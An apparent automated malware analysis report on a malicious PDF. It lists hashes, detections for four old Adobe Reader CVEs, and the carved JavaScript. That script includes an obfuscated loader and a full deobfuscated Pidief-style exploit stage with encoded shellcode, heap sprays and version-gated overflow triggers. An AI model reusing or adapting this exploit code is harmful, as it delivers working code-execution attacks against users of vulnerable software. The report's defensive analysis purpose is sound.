Malicious PDF — malware analysis report

Static analysis result for SHA-256 fb0022b9d469e1bc…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-07
MD5: 05ffd621c22050e36655bbdd388beae9 SHA-1: e9b5234720523ef7263273b860047958dce61549 SHA-256: fb0022b9d469e1bc4f83e4141ba88095d36b30cd7e01ee169adbfc1d91478423
408 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, flagged by both heuristics and a machine learning classifier with high confidence. The JavaScript stream is likely intended to execute malicious code, potentially downloading a second-stage payload or performing other harmful actions. The 'test' document body provides no context for the malicious behavior.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB112 441 bytes
SHA-256: 2ef772ce09302fb191ab046dec56baaee2d9606b5b6dd50a1ae11d0dc0f7fcfd
Preview script
First 1,000 lines of the extracted script
mxkl='';
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
e('oxzer=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
nffdv=e('String.fro'+oxzer.substr(1,9));
xfex = e(oxzer.substr(10)['rep'+'l'+('nsdnf','ace')](/u/g,','));
e('k=xfex.length');
for (i = 0; i < k; i+=2) {
	gjc = xfex[i+1] + ('erybjkerl',xfex[i]);
	mxkl += nffdv(gjc);
}
e(mxkl);
legacy_pdfkit_stage_000.js deobfuscated-js metadata bmCharCode pair decoded JavaScript at offset 0x37 3672 bytes
SHA-256: 204c009ecfb2792d3cfb04f3688bff2f8e639389ee7822a594354d7fe82b0392
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u43b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uf934%ue2aa%uc3fa%ue5e8%uffff%u10ff%uf8f5%uf9f9%u78a7%ua515%uf9f8%u70f9%u741e%ue9b6%u9674%uc8ad%uae22%uaaa8%uaaaa%uaaaa%uaaaa%uaaac%u91aa%uf8fd%uf9f9%uafac%u91aa%u9796%uf9f9%u8c91%u958b%uad94%u7791%uf7b7%u1115%uf9b1%uf9f9%u11a9%uf985%uf9f9%u2906%u3d7a%u91f1%u16b6%ufcb6%u11a9%uf995%uf9f9%u2906%u397c%uee8c%uad93%u0aa0%u9153%u078b%uef4a%ue411%uf9f9%ua9f9%ua811%uf9f9%u06f9%uaa29%u0793%u7091%uf896%u1144%uf9f1%uf9f9%u11a9%uf9c5%uf9f9%u2906%uc899%u9d39%ua972%u72c9%uf5ab%uab72%u72ed%ud18b%ue140%uf9f9%uc8f9%uc806%u5539%u98c5%ufb85%ud9d5%u3638%uf8f4%u1b3e%u7809%ua206%ub345%u7293%ue9bb%ueb72%u208c%ubd70%ue5dd%u3a98%u7299%udd95%u72dd%uc5bc%uad72%u81fc%u13f8%ub372%u72e1%ud9a3%u12f8%ucd1a%u72b0%u72cd%u17f8%u06c8%u39c8%u5505%u397d%ufe8d%u3638%uf8f4%u123e%uc20d%udd85%u8cd1%u7218%udda3%u12f8%u729f%ub2f5%ua372%uf8e5%u7212%u72fd%u11f8%ubd70%ue5dd%u3b98%uf9f1%u1611%u0607%u9106%u8d8d%uc389%ud6d6%u989d%u9696%u8b9f%u9a98%u8b9c%u989f%u8d8a%u9d9c%u9ad7%ud783%u9a9a%u9dd6%u89d7%u8991%u9fc6%ucfc4%udfc8%uc49c%uf9cc';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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